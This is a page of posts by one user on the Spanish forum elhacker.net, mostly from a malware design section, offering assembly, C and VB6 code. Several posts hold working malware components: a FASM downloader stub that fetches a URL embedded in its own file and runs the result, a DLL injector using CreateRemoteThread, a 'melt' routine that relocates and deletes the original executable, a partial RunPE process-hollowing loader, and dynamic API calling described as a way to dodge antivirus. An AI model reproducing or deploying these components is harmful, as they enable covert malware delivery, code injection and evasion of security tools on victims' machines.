elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 [8] 9 10
71  Seguridad Informática / Análisis y Diseño de Malware / Ayuda api hoking :P en: 3 Mayo 2011, 20:41 pm
Bueno estoi intentando hookear una API desde una DLL creada en Fasm pero no lo consigo y nose que estoi haciendo mal, este es el código de la dll:

Código
  1. format PE GUI 4.0 DLL
  2. entry DllEntryPoint
  3.  
  4. include 'win32ax.inc'
  5.  
  6. section '.code' code readable executable
  7.  
  8. proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
  9.        locals
  10.            proteccion dd ?
  11.        endl
  12.  
  13.        invoke LoadLibrary,'user32.dll'
  14.        invoke GetProcAddress,eax,"MessageBoxA"
  15.        mov ebx,eax; ebx  = direccion MessageBoxA
  16.  
  17.        invoke VirtualProtect,-1,ebx,5,PAGE_EXECUTE_READWRITE,edx
  18.  
  19.        mov ebx,0xE9
  20.        inc ebx
  21.        mov dword[ebx],hook
  22.        add ebx,4
  23.        ret
  24. endp
  25.  
  26. proc hook,uno,dos,tres,cuatro
  27.    invoke MessageBox,0,0,0,0
  28.    mov eax,0
  29.    ret
  30. endp
  31. ; VOID ShowErrorMessage(HWND hWnd,DWORD dwError);
  32.  
  33. proc ShowErrorMessage hWnd,dwError
  34.  local lpBuffer:DWORD
  35.        lea     eax,[lpBuffer]
  36.        invoke  FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM,0,[dwError],LANG_NEUTRAL,eax,0,0
  37.        invoke  MessageBox,[hWnd],[lpBuffer],NULL,MB_ICONERROR+MB_OK
  38.        invoke  LocalFree,[lpBuffer]
  39.        ret
  40. endp
  41.  
  42. ; VOID ShowLastError(HWND hWnd);
  43.  
  44. proc ShowLastError hWnd
  45.        invoke  GetLastError
  46.        stdcall ShowErrorMessage,[hWnd],eax
  47.        ret
  48. endp
  49. section '.data' data readable writeable
  50.        mensajito db ?
  51.  
  52.  
  53. section '.idata' import data readable writeable
  54.  
  55.  library kernel,'KERNEL32.DLL',\
  56.          user,'USER32.DLL'
  57.  
  58.  import kernel,\
  59.         GetLastError,'GetLastError',\
  60.         SetLastError,'SetLastError',\
  61.         FormatMessage,'FormatMessageA',\
  62.         LocalFree,'LocalFree',\
  63.         LoadLibrary,'LoadLibraryA',\
  64.         GetProcAddress,'GetProcAddress',\
  65.         VirtualProtect,'VirtualProtectEx'
  66.  
  67.  import user,\
  68.         MessageBox,'MessageBoxA'
  69.  
  70. section '.edata' export data readable
  71.  
  72.  export 'ERRORMSG.DLL',\
  73.         ShowErrorMessage,'ShowErrorMessage',\
  74.         ShowLastError,'ShowLastError'
  75.  
  76. section '.reloc' fixups data discardable  


Esperando repuesta...

salu2!
72  Seguridad Informática / Análisis y Diseño de Malware / Shell Remota en C en: 27 Marzo 2011, 14:48 pm
Buenas, estoi intentando hacer una Shell Remota en C  ya que nunca hice una en este lenguaje y me pica la curiosidad  :xD el caso es que no me sale...

El código que tengo es este:

Código
  1. #include <windows.h>
  2. #include <stdlib.h>
  3. #include <stdio.h>
  4.  
  5. int main()
  6. {
  7.    PHANDLE leer;
  8.    PHANDLE escribir;
  9.  
  10.    SECURITY_ATTRIBUTES sa;
  11.    STARTUPINFO si;
  12.    PROCESS_INFORMATION pi;
  13.  
  14.    DWORD bytes;
  15.  
  16.    CreatePipe(leer,escribir,&sa,0);
  17.  
  18.    si.cb = 68;
  19.    si.dwFlags = 257;
  20.  
  21.    si.hStdError = escribir;
  22.    si.hStdOutput = escribir;
  23.  
  24.    CreateProcessA(0,"cmd.exe /c ping 127.0.0.1", &sa, &sa, 1, NORMAL_PRIORITY_CLASS, 0, 0, &si, &pi);
  25.    Sleep(100);
  26.    CloseHandle(escribir);
  27.  
  28.    char buffer[1024];
  29.    char total[1024];
  30.  
  31.    int ret = ReadFile(leer,buffer,250,&bytes,0);
  32.  
  33.    lstrcat(total,buffer);
  34.  
  35.    while(ret != 0)
  36.    {
  37.        ret = ReadFile(leer,buffer,250,&bytes,0);
  38.        lstrcat(total,buffer);      
  39.    }
  40.  
  41.    MessageBoxA(0,total,0,0);
  42.    system("PAUSE");
  43.  
  44.    return 0;
  45. }
  46.  

Alguien sabe que hago mal?

salu2!
73  Seguridad Informática / Análisis y Diseño de Malware / Una vez que te inyectas...?? en: 7 Febrero 2011, 20:41 pm
Buenas, bueno antes de nada, decir que nose si esto deberia ir aqui, pero como siempre se trata aqui el tema de inyecciones y tal...

Mi duda es la siguiente:

Una vez que te inyectas con una dll en un proceso. Es posible saber las funciones que tiene ese proceso cargadas??? de ser así como lo podria saber??


PD: espero que me hallan entendido   :P


salu2!
74  Seguridad Informática / Análisis y Diseño de Malware / Ayuda creacion RunPE VB6 en: 28 Enero 2011, 20:54 pm
Bueno, estoi intentando aprender como trabaja el loader de windows y me e puesto a hacer  un runPE, viendo como funcionan otros y tal despues de haber leido varias veces sobre el formato PE, pero tengo problemas, no me funciona correctamente el api NtUnmapViewOfSection ni VirtualAllocEx y nose porque no funcionan bien... el código que tengo es el siguiente:

Código
  1. Option Explicit
  2.  
  3. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)
  4. Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
  5. Private Declare Function NtUnmapViewOfSection Lib "NTDLL.dll" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long) As Long
  6. Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
  7.  
  8. Private Const CONTEXT_FULL As Long = &H10007
  9. Private Const MAX_PATH As Integer = 260
  10. Private Const CREATE_SUSPENDED As Long = &H4
  11. Private Const MEM_COMMIT As Long = &H1000
  12. Private Const MEM_RESERVE As Long = &H2000
  13. Private Const PAGE_EXECUTE_READWRITE As Long = &H40
  14.  
  15. Private Type PROCESS_INFORMATION
  16.    hProcess As Long
  17.    hThread As Long
  18.    dwProcessId As Long
  19.    dwThreadID As Long
  20. End Type
  21.  
  22. Private Type STARTUPINFO
  23.    cb As Long
  24.    lpReserved As Long
  25.    lpDesktop As Long
  26.    lpTitle As Long
  27.    dwX As Long
  28.    dwY As Long
  29.    dwXSize As Long
  30.    dwYSize As Long
  31.    dwXCountChars As Long
  32.    dwYCountChars As Long
  33.    dwFillAttribute As Long
  34.    dwFlags As Long
  35.    wShowWindow As Integer
  36.    cbReserved2 As Integer
  37.    lpReserved2 As Long
  38.    hStdInput As Long
  39.    hStdOutput As Long
  40.    hStdError As Long
  41. End Type
  42.  
  43. Private Type IMAGE_DOS_HEADER
  44.    e_magic As Integer
  45.    e_cblp As Integer
  46.    e_cp As Integer
  47.    e_crlc As Integer
  48.    e_cparhdr As Integer
  49.    e_minalloc As Integer
  50.    e_maxalloc As Integer
  51.    e_ss As Integer
  52.    e_sp As Integer
  53.    e_csum As Integer
  54.    e_ip As Integer
  55.    e_cs As Integer
  56.    e_lfarlc As Integer
  57.    e_ovno As Integer
  58.    e_res(0 To 3) As Integer
  59.    e_oemid As Integer
  60.    e_oeminfo As Integer
  61.    e_res2(0 To 9) As Integer
  62.    e_lfanew As Long
  63. End Type
  64.  
  65. Private Type IMAGE_FILE_HEADER
  66.    Machine As Integer
  67.    NumberOfSections As Integer
  68.    TimeDateStamp As Long
  69.    PointerToSymbolTable As Long
  70.    NumberOfSymbols As Long
  71.    SizeOfOptionalHeader As Integer
  72.    characteristics As Integer
  73. End Type
  74.  
  75. Private Type IMAGE_DATA_DIRECTORY
  76.    VirtualAddress As Long
  77.    Size As Long
  78. End Type
  79.  
  80. Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
  81.  
  82. Private Type IMAGE_OPTIONAL_HEADER
  83.    Magic As Integer
  84.    MajorLinkerVersion As Byte
  85.    MinorLinkerVersion As Byte
  86.    SizeOfCode As Long
  87.    SizeOfInitializedData As Long
  88.    SizeOfUnitializedData As Long
  89.    AddressOfEntryPoint As Long
  90.    BaseOfCode As Long
  91.    BaseOfData As Long
  92.    ImageBase As Long
  93.    SectionAlignment As Long
  94.    FileAlignment As Long
  95.    MajorOperatingSystemVersion As Integer
  96.    MinorOperatingSystemVersion As Integer
  97.    MajorImageVersion As Integer
  98.    MinorImageVersion As Integer
  99.    MajorSubsystemVersion As Integer
  100.    MinorSubsystemVersion As Integer
  101.    W32VersionValue As Long
  102.    SizeOfImage As Long
  103.    SizeOfHeaders As Long
  104.    CheckSum As Long
  105.    SubSystem As Integer
  106.    DllCharacteristics As Integer
  107.    SizeOfStackReserve As Long
  108.    SizeOfStackCommit As Long
  109.    SizeOfHeapReserve As Long
  110.    SizeOfHeapCommit As Long
  111.    LoaderFlags As Long
  112.    NumberOfRvaAndSizes As Long
  113.    DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
  114. End Type
  115.  
  116. Private Type IMAGE_NT_HEADERS
  117.    Signature As Long
  118.    FileHeader As IMAGE_FILE_HEADER
  119.    OptionalHeader As IMAGE_OPTIONAL_HEADER
  120. End Type
  121.  
  122. Const IMAGE_SIZEOF_SHORT_NAME = 8
  123.  
  124. Private Type IMAGE_SECTION_HEADER
  125.   SecName As String * IMAGE_SIZEOF_SHORT_NAME
  126.   VirtualSize As Long
  127.   VirtualAddress  As Long
  128.   SizeOfRawData As Long
  129.   PointerToRawData As Long
  130.   PointerToRelocations As Long
  131.   PointerToLinenumbers As Long
  132.   NumberOfRelocations As Integer
  133.   NumberOfLinenumbers As Integer
  134.   characteristics  As Long
  135. End Type
  136.  
  137. Public Function EjecutarPE(ByVal Ruta As String) As Boolean
  138.    On Error GoTo error
  139.  
  140.    Dim IDH As IMAGE_DOS_HEADER
  141.    Dim INH As IMAGE_NT_HEADERS
  142.    Dim ISH() As IMAGE_SECTION_HEADER
  143.    Dim IDD As IMAGE_DATA_DIRECTORY
  144.  
  145.    Dim Datos() As Byte
  146.  
  147.    ReDim Datos(FileLen(Ruta))
  148.  
  149.    Open Ruta For Binary As #1
  150.        Get #1, , Datos
  151.    Close #1
  152.  
  153.    Call CopyMemory(IDH, Datos(0), Len(IDH))
  154.    Call CopyMemory(INH, Datos(IDH.e_lfanew), Len(INH))
  155.  
  156.    Dim MYe_lfanew As Long: MYe_lfanew = IDH.e_lfanew
  157.    Dim MYImageBase As Long: MYImageBase = INH.OptionalHeader.ImageBase
  158.    Dim MYSizeOfImage As Long: MYSizeOfImage = INH.OptionalHeader.SizeOfImage
  159.    Dim MYSizeOfHeaders As Long: MYSizeOfHeaders = INH.OptionalHeader.SizeOfHeaders
  160.    Dim MYAddressOfEntryPoint As Long: MYAddressOfEntryPoint = INH.OptionalHeader.AddressOfEntryPoint
  161.    Dim MYNumberOfSections As Integer:  MYNumberOfSections = INH.FileHeader.NumberOfSections
  162.    Dim MYVirtualAddress As Long
  163.    Dim MYPointerToRawData As Long
  164.    Dim MYSizeOfRawData As Long
  165.  
  166.    Dim ManijaProceso As Long
  167.    Dim pi As PROCESS_INFORMATION
  168.    Dim si As STARTUPINFO
  169.    Dim NTUN As Long
  170.    Dim Espacio As Long
  171.    Dim IdProc As Long
  172.  
  173.    Call CreateProcessA(App.Path & "\" & App.EXEName & ".exe", 0, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi)
  174.    ManijaProceso = pi.dwProcessId
  175.  
  176.    NTUN = NtUnmapViewOfSection(ManijaProceso, MYImageBase)
  177.  
  178.    Espacio = VirtualAllocEx(ManijaProceso, MYImageBase, MYSizeOfImage, &H1000& Or &H2000&, &H40)
  179.  
  180.    Exit Function
  181. error:
  182.    EjecutarPE = False
  183. End Function
  184.  
  185.  
  186.  

Agradeceria que alguien me dijese que ago mal.

salu2!
75  Seguridad Informática / Análisis y Diseño de Malware / mDownloader en: 15 Diciembre 2010, 20:31 pm
Bueno, aqui les traigo el código de un downloader uqe e creado en fasm :P, solo dejo el código del Stub que es lo interesante jeje.

Código
  1. ;Stub de mDownloader
  2. ;Codeado por Drinky94 en diciembre de 2010
  3. ;www.drinky94. artehack .net
  4. include 'win32ax.inc'
  5.  
  6. .data
  7.    ruta dd ?
  8.    manija dd ?
  9.    larchivo dd ?
  10.    espacio dd ?
  11.    bleidos dd ?
  12.    dll db 'urlmon.dll',0
  13.    funcion db 'URLDownloadToFileA',0
  14.    mUrl dd ?
  15.    dlls db 'msvcrt.dll',0
  16.    funcions db 'getenv',0
  17.    shell dd ?
  18.    user db 'windir',0
  19.    añadir db '\archivo.exe',0
  20.    destino dd ?
  21.  
  22.  
  23. .code
  24. start:
  25.  
  26.        invoke GlobalAlloc,GPTR,1024
  27.        mov [ruta],eax
  28.        invoke GetModuleFileName,0,[ruta],1024
  29.  
  30.        invoke CreateFile,[ruta], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
  31.        mov [manija],eax
  32.        invoke GetFileSize,[manija],0
  33.        mov [larchivo],eax
  34.        invoke GlobalAlloc,GPTR,[larchivo]
  35.        mov [espacio],eax
  36.        invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
  37.        invoke CloseHandle,[manija]
  38.  
  39.        mov ecx,1
  40.        mov eax,[espacio]
  41.        add [larchivo],10
  42.        bucle:
  43.  
  44.            .if byte[eax+ecx] = '#'
  45.                inc ecx
  46.                .if byte[eax+ecx] = '#'
  47.                    inc ecx
  48.                    .if byte[eax+ecx] = '#'
  49.                        inc ecx
  50.                        add eax,ecx
  51.                        mov [espacio],eax
  52.                        jmp salir
  53.                    .endif
  54.                    dec ecx
  55.                .endif
  56.                dec ecx
  57.             .endif
  58.  
  59.             .if ecx > [larchivo]
  60.                 jmp salir
  61.             .endif
  62.  
  63.             inc ecx
  64.             jmp bucle
  65.  
  66.        salir:
  67.  
  68.        invoke LoadLibrary,dlls
  69.        invoke GetProcAddress,eax,funcions
  70.        mov [shell],eax
  71.  
  72.        push user
  73.        call [shell]
  74.  
  75.        invoke lstrcat,eax,añadir
  76.        mov [destino],eax
  77.  
  78.        invoke LoadLibrary,dll
  79.        invoke GetProcAddress,eax,funcion
  80.        mov [mUrl],eax
  81.  
  82.        push 0
  83.        push 0
  84.        push [destino]
  85.        push [espacio]
  86.        push 0
  87.  
  88.        call [mUrl]
  89.  
  90.        invoke ShellExecute,0,"open",[destino],0,0,0
  91.  
  92.       leave
  93.       ret
  94. .end start                        

Espero que a alguien le sirva :P

salu2!
76  Seguridad Informática / Análisis y Diseño de Malware / [ASM+C] Inyeccion Dll en: 8 Octubre 2010, 20:44 pm
Bueno trasteandole a la inyeccion dll y a la vez ensayando c y asm consegui esto:

Codigo inyector  en c:

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4. #include <string.h>
  5.  
  6. void inyectar(char * rutadll);
  7.  
  8. int main()
  9. {
  10.   inyectar("c:\\windows\\system32\\fary.dll");
  11.    return 0;
  12. }
  13.  
  14. void inyectar(char * rutadll)
  15. {
  16.    DWORD id;
  17.    DWORD mangoproc;
  18.    HANDLE idproc;
  19.    LPVOID espacio;
  20.    LPVOID carga;
  21.  
  22.    printf("Inyeccion Dll by Drinky94\n");
  23.  
  24.    ShellExecute(0,0,"c:\\windows\\system32\\calc.exe",0,0,0);
  25.    Sleep(2000); //  Esperamos que se ejecute la calculadora...
  26.    id = FindWindow(NULL,"Calculadora");
  27.    GetWindowThreadProcessId(id,&mangoproc);
  28.  
  29.    idproc = OpenProcess(PROCESS_ALL_ACCESS,0,mangoproc);
  30.  
  31.    carga = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
  32.    espacio = (LPVOID)VirtualAllocEx(idproc,0,strlen(rutadll),MEM_COMMIT, PAGE_READWRITE);
  33.    WriteProcessMemory(idproc,(LPVOID)espacio,rutadll,strlen(rutadll),0);
  34.    CreateRemoteThread(idproc, 0, 0,(LPTHREAD_START_ROUTINE)carga,(LPVOID)espacio, 0, 0);
  35.  
  36.    CloseHandle(idproc);
  37.    CloseHandle(espacio);
  38.  
  39.    system("PAUSE");      
  40. }

Dll creada en Fasm:

Código
  1. format PE GUI 4.0 DLL
  2. entry DllEntryPoint
  3.  
  4. include 'c:\include\win32ax.inc'
  5.  
  6. section '.code' code readable executable
  7.  
  8. proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
  9.        cmp [fdwReason],1
  10.        JE mensage
  11.        mensage:
  12.        invoke MessageBox,0,mensajito,titulo,MB_OK
  13.        ret
  14. endp
  15.  
  16. ; VOID ShowErrorMessage(HWND hWnd,DWORD dwError);
  17.  
  18. proc ShowErrorMessage hWnd,dwError
  19.  local lpBuffer:DWORD
  20.        lea     eax,[lpBuffer]
  21.        invoke  FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM,0,[dwError],LANG_NEUTRAL,eax,0,0
  22.        invoke  MessageBox,[hWnd],[lpBuffer],NULL,MB_ICONERROR+MB_OK
  23.        invoke  LocalFree,[lpBuffer]
  24.        ret
  25. endp
  26.  
  27. ; VOID ShowLastError(HWND hWnd);
  28.  
  29. proc ShowLastError hWnd
  30.        invoke  GetLastError
  31.        stdcall ShowErrorMessage,[hWnd],eax
  32.        ret
  33. endp
  34. section '.data' data readable writeable
  35.        mensajito db 'Dll Inyectada con exito',0
  36.        titulo db ' Exito!!',0
  37.  
  38.  
  39. section '.idata' import data readable writeable
  40.  
  41.  library kernel,'KERNEL32.DLL',\
  42.          user,'USER32.DLL'
  43.  
  44.  import kernel,\
  45.         GetLastError,'GetLastError',\
  46.         SetLastError,'SetLastError',\
  47.         FormatMessage,'FormatMessageA',\
  48.         LocalFree,'LocalFree'
  49.  
  50.  import user,\
  51.         MessageBox,'MessageBoxA'
  52.  
  53. section '.edata' export data readable
  54.  
  55.  export 'ERRORMSG.DLL',\
  56.         ShowErrorMessage,'ShowErrorMessage',\
  57.         ShowLastError,'ShowLastError'
  58.  
  59. section '.reloc' fixups data discardable
  60.  



Una Capturita:



proximamente mas y mejor  que ya le estoi tomando el gusto  ;D

PD: Agradecimiento a [Zero] por su incansable ayuda en todo lo que le pregunto.

salu2!
77  Programación / ASM / Fallo en encriptacion. en: 28 Agosto 2010, 08:37 am
Hola buenas, estoi intentando hacer una simple encriptacion en asm pero CREO que me falla la api lstrcat, no estoi muy seguro....

este es el code:

Código
  1. format PE console
  2. entry start
  3.  
  4. include 'c:\archivos de programa\include\win32ax.inc'
  5.  
  6. section '.code' code readable executable
  7. start:
  8.  
  9. stdcall longitud,tipo
  10.  
  11. proc longitud,cadena
  12.  
  13.    mov edx,[cadena]
  14.    sub edx,1
  15.    bucle:
  16.    add edx,1
  17.    mov bl,byte[edx]
  18.    cmp bl,NULL
  19.    jz fin
  20.    jnz seguir
  21.    seguir:
  22.        mov [letra],bl
  23.        add [contador],1
  24.        xor bl,5
  25.        invoke lstrcat,[cadena],bl ; esto es lo que me falla
  26.    jmp bucle
  27.    fin:
  28.        pop eax
  29.        invoke printf,tipo2,[cadena]
  30.        invoke scanf,tipo2,numero
  31.        ret
  32. endp
  33.  
  34. section '.data' data readable writeable
  35.  
  36.    contador dd 0
  37.    tipo db 'hola',NULL
  38.    tipo2 db '%i',0
  39.    numero dd ?
  40.    letra db ?
  41.    cadena db 'h'
  42.  
  43. section '.idata' import data readable writeable
  44.  
  45.    library  msvcrt,'msvcrt.dll',\
  46.        KERNEL32,'KERNEL32.DLL',\
  47.        USER32,'USER32.DLL'
  48.  
  49.    import msvcrt, printf,'printf',\
  50.        scanf,'scanf'
  51.    import KERNEL32,lstrcat,'lstrcat'
  52.    import USER32,MessageBoxA,'MessageBoxA'        


espero que alguien me ayude.

salu2!
78  Programación / Programación Visual Basic / Melt en: 6 Agosto 2010, 18:54 pm
Bueno, hace un tiempo, vi el melt que hizo MadAntrax y me inspire a hacer el mio, aqui os lo dejo:

Código
  1. ' Melt  By Drinky94.
  2.  
  3. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  4.  
  5. Public Function DrinkyMelt(Datos As String) As Boolean
  6.    If App.Path = Environ("windir") Then
  7.        Kill Datos
  8.        ' Llegados a este punto ya hemos temrinado el melt y tenemos que llamar a la funcion normal para que siga la ejecucion ejemplo:
  9.        ' Call Inyectar
  10.    Else
  11.        FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("Windir") & "\Melt.exe"
  12.        Call ShellExecute(0, "Open", Environ("Windir") & "\Melt.exe", App.Path & "\" & App.EXEName & ".exe", vbNullString, 0)
  13.        End
  14.    End If
  15. End Function
  16.  
  17. Private Sub form_load()
  18.    Call DrinkyMelt(Command)
  19. End Sub

salu2!
79  Programación / Scripting / Creando nuestros propios comandos de Bach en C en: 5 Agosto 2010, 05:49 am
Creando nuestros propios comandos de batch en C

Indice:

1.Introduccion
2.¿como funciona la Ms Dos?
3.Empezando a codear nuestro propio comando
4.Despedida


1.INTRODUCCION

Bueno en este tutorial veremos como crear nuestros propios comandos para la Ms Dos, yo creare algo simple, pero empleando la misma técnica podeis crearos cualquier comando que podais imaginar, es cosa de hecharle imaginación ;).

2.¿COMO FUNCIONA LA MS-DOS?

Bien, la Ms Dos funciona mediante  procesamiento por  lotes, esto supongo que todos lo sabran ya, ¿qué significa esto? Sifnifica que cuando ejecutamos por ejemplo el comando echo lo que estamos haciendo es llamar a un exe ( que esta en la carpeta System32) y pasarle unos parametros, el exe lo que ara es procesar los parametros que le hemos enviado y generar un retorno que muestra la Ms Dos , dando la sensación de que todos los comandos los tiene la misma consola.

3.EMPEZANDO A CODEAR

Siguiendo lo ya explicado en el punto 2 va a ser muy facil desarrollar nuestro comando. Lo primero de todo abriremos nuestro compilador de C ( da igual cual sea)  Proyecto>nuevo  y abrimos un proyecto de consola y ahora.... a codear!!


vale, tenemos el siguiente codigo ( por regla general):

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3.  
  4. int main(int argc, char *argv[])
  5. {
  6.  
  7.  
  8. }

si nos fijamos en el main tenemos unos parametros (int argc, char *argv[]) esos parametros son los argumentos que se le pasan a nuestro exe ,osea lo que recibira  nuestro comando, explicando un poco mas lo que significa, esto: int argc significa el numero de parametros que se le a pasado y esto: char *argv[] es un array con los parametros, bien, sabiendo ya esto ya sabemos por donde recibiremos los parametros que se le pasan a nuestro futuro comando!!.
ahora simplemente tenemos que hacer lo que nosotros queramos que haga, yo por ejemplo generare un comando semejante a echo yo le llamare DrinkEcho jeje veamos como seria el code:

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3.  
  4. int main(int argc, char *argv[])
  5. {
  6.    printf("%s\n",argv[1]);
  7.    system("PAUSE");
  8. }

Bien con eso ya tendiramos nuestro comado generado, lo tenemos que compilar con el nombre que va a tener nuestro comando.

UNA NOTA IMPORTANTE es que al estar programando en consola los datos que devuelve nuestro ejecutable los devuelve a la Ms Dos con lo cual de eso no nos tenemos que preocupar.

Ahora solo queda provar el comando... lo metemos en system32 y vamos a testear nuestro comando:



4.DESPEDIDA

Bueno espero que este minitutorial les haya gustado y les haya servido para aprender a crear sus comandos de Batch si esque no sabian.

Un salu2!. Drinky94.
80  Programación / Programación Visual Basic / Llamar a api sin declararlas en: 4 Agosto 2010, 21:48 pm
Bueno esto puede servir para esquivar algunos av, no es un codigo tan avanzado como los de Karcrack ni tan dificil peeeeero funciona perfectamente ;)

Vamos a hacer un simple MessageBox, Código:

Código
  1. Option Explicit
  2.  
  3. Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
  4. Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
  5. Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  6. Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Any, ByVal wParam As Any, ByVal lParam As Any) As Long
  7.  
  8. Private Const MB_ICONEXCLAMATION = &H30&
  9.  
  10. Private Sub Form_Load()
  11.    Dim id As Long
  12.    Dim direccion As Long
  13.  
  14.    id = LoadLibrary("user32") 'Cargamos la libreria
  15.    direccion = GetProcAddress(id, "MessageBoxA") 'obtenemos la direccion em memoria
  16.  
  17.    CallWindowProc direccion, Me.hWnd, "cuerpo", "Titulo", MB_ICONEXCLAMATION ' llamamos a la funcion
  18.  
  19.    FreeLibrary id ' liberamos la dll
  20. End Sub
  21.  

Bueno el code esta explicado pero si tienen alguna duda solo pregunten, si quisieramos  utilizar una api con mas parametros tendriamos que usar un array :).

salu2! y espero que les sea de ayuda!
Páginas: 1 2 3 4 5 6 7 [8] 9 10
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines